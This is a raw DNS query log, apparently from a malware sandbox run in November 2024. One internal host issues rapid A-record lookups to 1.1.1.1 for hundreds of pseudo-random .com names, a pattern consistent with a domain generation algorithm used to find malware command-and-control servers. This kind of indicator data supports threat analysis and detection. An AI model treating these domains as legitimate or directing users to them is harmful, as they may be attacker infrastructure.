                                                                                                                                                                                                          Nov 11, 2024 18:13:18.422316074 CET192.168.2.61.1.1.10x7925Standard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.423918009 CET192.168.2.61.1.1.10x4df7Standard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.424185991 CET192.168.2.61.1.1.10x9377Standard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.426924944 CET192.168.2.61.1.1.10x8123Standard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.427092075 CET192.168.2.61.1.1.10x61daStandard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.427422047 CET192.168.2.61.1.1.10x5ae7Standard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.427664042 CET192.168.2.61.1.1.10x9201Standard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.428262949 CET192.168.2.61.1.1.10x281fStandard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.428484917 CET192.168.2.61.1.1.10xfc46Standard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.428813934 CET192.168.2.61.1.1.10x8ac5Standard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.429059982 CET192.168.2.61.1.1.10x1678Standard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.429398060 CET192.168.2.61.1.1.10x3abdStandard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.429589987 CET192.168.2.61.1.1.10xf5bcStandard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.429902077 CET192.168.2.61.1.1.10x5ad0Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.430074930 CET192.168.2.61.1.1.10x37b9Standard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.430229902 CET192.168.2.61.1.1.10x12fdStandard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.430468082 CET192.168.2.61.1.1.10x1255Standard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.442487001 CET192.168.2.61.1.1.10x8766Standard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.442930937 CET192.168.2.61.1.1.10xa9f7Standard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.444602013 CET192.168.2.61.1.1.10xfb6aStandard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.445497036 CET192.168.2.61.1.1.10x790Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.445676088 CET192.168.2.61.1.1.10xb53aStandard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.445816994 CET192.168.2.61.1.1.10x7d8eStandard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.446042061 CET192.168.2.61.1.1.10x19c2Standard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.446471930 CET192.168.2.61.1.1.10x90e0Standard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.446652889 CET192.168.2.61.1.1.10x8780Standard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.446893930 CET192.168.2.61.1.1.10xd675Standard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.446893930 CET192.168.2.61.1.1.10xb4a4Standard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.448504925 CET192.168.2.61.1.1.10x6277Standard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.450031042 CET192.168.2.61.1.1.10x3481Standard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.450985909 CET192.168.2.61.1.1.10xc014Standard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.451258898 CET192.168.2.61.1.1.10xcbf9Standard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.454384089 CET192.168.2.61.1.1.10xafb0Standard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.455332994 CET192.168.2.61.1.1.10x85d3Standard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.455419064 CET192.168.2.61.1.1.10xf24fStandard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.455507994 CET192.168.2.61.1.1.10x6f8cStandard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.455848932 CET192.168.2.61.1.1.10x8e9dStandard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.887855053 CET192.168.2.61.1.1.10x66d1Standard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.888700008 CET192.168.2.61.1.1.10x4ef8Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.888892889 CET192.168.2.61.1.1.10x6a9Standard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.890531063 CET192.168.2.61.1.1.10x7bb7Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.925281048 CET192.168.2.61.1.1.10xac78Standard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.927119017 CET192.168.2.61.1.1.10x2d4cStandard query (0)vopydum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.935216904 CET192.168.2.61.1.1.10xad2fStandard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.937324047 CET192.168.2.61.1.1.10xbe71Standard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.938000917 CET192.168.2.61.1.1.10x8ce0Standard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.947695971 CET192.168.2.61.1.1.10xb01cStandard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.952626944 CET192.168.2.61.1.1.10x9185Standard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.954875946 CET192.168.2.61.1.1.10x34feStandard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.955817938 CET192.168.2.61.1.1.10xb60aStandard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.957076073 CET192.168.2.61.1.1.10x534Standard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.962369919 CET192.168.2.61.1.1.10xb090Standard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.963838100 CET192.168.2.61.1.1.10x8416Standard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.964721918 CET192.168.2.61.1.1.10x868eStandard query (0)vofydut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.965133905 CET192.168.2.61.1.1.10xb65fStandard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.965476036 CET192.168.2.61.1.1.10x30e2Standard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.968450069 CET192.168.2.61.1.1.10xa3d6Standard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.969825983 CET192.168.2.61.1.1.10xcbf9Standard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.970702887 CET192.168.2.61.1.1.10x2f69Standard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.971116066 CET192.168.2.61.1.1.10xf0d0Standard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.971998930 CET192.168.2.61.1.1.10xf1f7Standard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.972551107 CET192.168.2.61.1.1.10x4bc7Standard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.973356962 CET192.168.2.61.1.1.10x6425Standard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.974281073 CET192.168.2.61.1.1.10x8e4cStandard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.979049921 CET192.168.2.61.1.1.10x6623Standard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.993957043 CET192.168.2.61.1.1.10xc213Standard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.000782967 CET192.168.2.61.1.1.10xb0d6Standard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.001224995 CET192.168.2.61.1.1.10x8ddaStandard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.001669884 CET192.168.2.61.1.1.10xe446Standard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.002187014 CET192.168.2.61.1.1.10x2500Standard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.002480984 CET192.168.2.61.1.1.10x8431Standard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.002775908 CET192.168.2.61.1.1.10xf75bStandard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.002947092 CET192.168.2.61.1.1.10x720eStandard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.003192902 CET192.168.2.61.1.1.10xa37fStandard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.003354073 CET192.168.2.61.1.1.10x5730Standard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.005784035 CET192.168.2.61.1.1.10x923bStandard query (0)lymytar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.005948067 CET192.168.2.61.1.1.10x73d1Standard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006078959 CET192.168.2.61.1.1.10x7bb6Standard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006220102 CET192.168.2.61.1.1.10x930dStandard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006361961 CET192.168.2.61.1.1.10x8c24Standard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006561995 CET192.168.2.61.1.1.10xba5cStandard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006695986 CET192.168.2.61.1.1.10x7983Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.006910086 CET192.168.2.61.1.1.10xa43aStandard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007074118 CET192.168.2.61.1.1.10xe236Standard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007217884 CET192.168.2.61.1.1.10xbcc2Standard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007356882 CET192.168.2.61.1.1.10xd2c5Standard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007487059 CET192.168.2.61.1.1.10x4b5cStandard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007641077 CET192.168.2.61.1.1.10x4754Standard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007791996 CET192.168.2.61.1.1.10xd812Standard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.007921934 CET192.168.2.61.1.1.10xe65fStandard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.008071899 CET192.168.2.61.1.1.10x9a74Standard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.008212090 CET192.168.2.61.1.1.10x903eStandard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.008344889 CET192.168.2.61.1.1.10xa7eeStandard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.008550882 CET192.168.2.61.1.1.10x1a90Standard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.008758068 CET192.168.2.61.1.1.10x24a0Standard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.013705015 CET192.168.2.61.1.1.10x4a91Standard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.013941050 CET192.168.2.61.1.1.10x5ef5Standard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.014976025 CET192.168.2.61.1.1.10x6c55Standard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.015901089 CET192.168.2.61.1.1.10x7aeeStandard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.016407013 CET192.168.2.61.1.1.10xe27dStandard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.043648005 CET192.168.2.61.1.1.10xb370Standard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.587090969 CET192.168.2.61.1.1.10x7d36Standard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.588407993 CET192.168.2.61.1.1.10x7485Standard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.589355946 CET192.168.2.61.1.1.10xd6d5Standard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.589879036 CET192.168.2.61.1.1.10xf9d3Standard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.590614080 CET192.168.2.61.1.1.10x5013Standard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.591537952 CET192.168.2.61.1.1.10x2218Standard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.592168093 CET192.168.2.61.1.1.10x11a7Standard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.592746019 CET192.168.2.61.1.1.10x6c9cStandard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.594424963 CET192.168.2.61.1.1.10xf492Standard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.595309019 CET192.168.2.61.1.1.10x6602Standard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.596435070 CET192.168.2.61.1.1.10xf757Standard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.598180056 CET192.168.2.61.1.1.10xfb25Standard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.599354029 CET192.168.2.61.1.1.10x70a3Standard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.602087975 CET192.168.2.61.1.1.10x72b4Standard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.604391098 CET192.168.2.61.1.1.10x5efaStandard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.606467962 CET192.168.2.61.1.1.10x4d31Standard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.607089996 CET192.168.2.61.1.1.10x3513Standard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.616146088 CET192.168.2.61.1.1.10xb71fStandard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.663487911 CET192.168.2.61.1.1.10xf463Standard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.663676977 CET192.168.2.61.1.1.10xa1d0Standard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.663973093 CET192.168.2.61.1.1.10xcfdStandard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.665519953 CET192.168.2.61.1.1.10xeb06Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.668554068 CET192.168.2.61.1.1.10x45afStandard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.673340082 CET192.168.2.61.1.1.10xfb09Standard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.673340082 CET192.168.2.61.1.1.10xbf62Standard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.673648119 CET192.168.2.61.1.1.10x2fb9Standard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.675338984 CET192.168.2.61.1.1.10x911bStandard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.676750898 CET192.168.2.61.1.1.10xe9c8Standard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.681298018 CET192.168.2.61.1.1.10x4300Standard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.681543112 CET192.168.2.61.1.1.10x12f1Standard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.681823015 CET192.168.2.61.1.1.10x106Standard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.685739040 CET192.168.2.61.1.1.10xc242Standard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.686079979 CET192.168.2.61.1.1.10xcce1Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.686430931 CET192.168.2.61.1.1.10x69aaStandard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.686430931 CET192.168.2.61.1.1.10x4abbStandard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.686728001 CET192.168.2.61.1.1.10x91d5Standard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.687000990 CET192.168.2.61.1.1.10xe901Standard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.687166929 CET192.168.2.61.1.1.10xa36eStandard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.687342882 CET192.168.2.61.1.1.10xd5fdStandard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.687530041 CET192.168.2.61.1.1.10x8ec5Standard query (0)gatypas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692348957 CET192.168.2.61.1.1.10xf23Standard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692548037 CET192.168.2.61.1.1.10xc112Standard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692548037 CET192.168.2.61.1.1.10x4a5dStandard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692682981 CET192.168.2.61.1.1.10xb45fStandard query (0)lygyvuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692828894 CET192.168.2.61.1.1.10xd738Standard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692828894 CET192.168.2.61.1.1.10x7288Standard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.692997932 CET192.168.2.61.1.1.10x232cStandard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.694839001 CET192.168.2.61.1.1.10xd083Standard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.694958925 CET192.168.2.61.1.1.10xfe35Standard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.702749014 CET192.168.2.61.1.1.10x77e8Standard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.702852011 CET192.168.2.61.1.1.10x4cb2Standard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.703107119 CET192.168.2.61.1.1.10xb780Standard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.703107119 CET192.168.2.61.1.1.10xcf23Standard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.703202963 CET192.168.2.61.1.1.10x7032Standard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.704376936 CET192.168.2.61.1.1.10xd282Standard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.704905033 CET192.168.2.61.1.1.10x5747Standard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.705060959 CET192.168.2.61.1.1.10x2d0aStandard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.705277920 CET192.168.2.61.1.1.10xb132Standard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.705403090 CET192.168.2.61.1.1.10x9e6dStandard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.705751896 CET192.168.2.61.1.1.10xfcdfStandard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.705751896 CET192.168.2.61.1.1.10x6d89Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.706665039 CET192.168.2.61.1.1.10x7e62Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.707174063 CET192.168.2.61.1.1.10x5e02Standard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.709225893 CET192.168.2.61.1.1.10xcd89Standard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.618684053 CET192.168.2.61.1.1.10xf79bStandard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.619395018 CET192.168.2.61.1.1.10x895aStandard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.620013952 CET192.168.2.61.1.1.10xa8aaStandard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.621299982 CET192.168.2.61.1.1.10x72baStandard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.624954939 CET192.168.2.61.1.1.10x275fStandard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.634982109 CET192.168.2.61.1.1.10x34d9Standard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.636842966 CET192.168.2.61.1.1.10x1c32Standard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.639591932 CET192.168.2.61.1.1.10xe26bStandard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.643301964 CET192.168.2.61.1.1.10x4a8dStandard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.645035028 CET192.168.2.61.1.1.10x5a55Standard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.649049044 CET192.168.2.61.1.1.10x1ccdStandard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.649630070 CET192.168.2.61.1.1.10x1c77Standard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.650126934 CET192.168.2.61.1.1.10xf936Standard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.652508974 CET192.168.2.61.1.1.10xbcd9Standard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.673523903 CET192.168.2.61.1.1.10xb913Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.674518108 CET192.168.2.61.1.1.10xf82dStandard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.674673080 CET192.168.2.61.1.1.10xac35Standard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.676588058 CET192.168.2.61.1.1.10xbce5Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
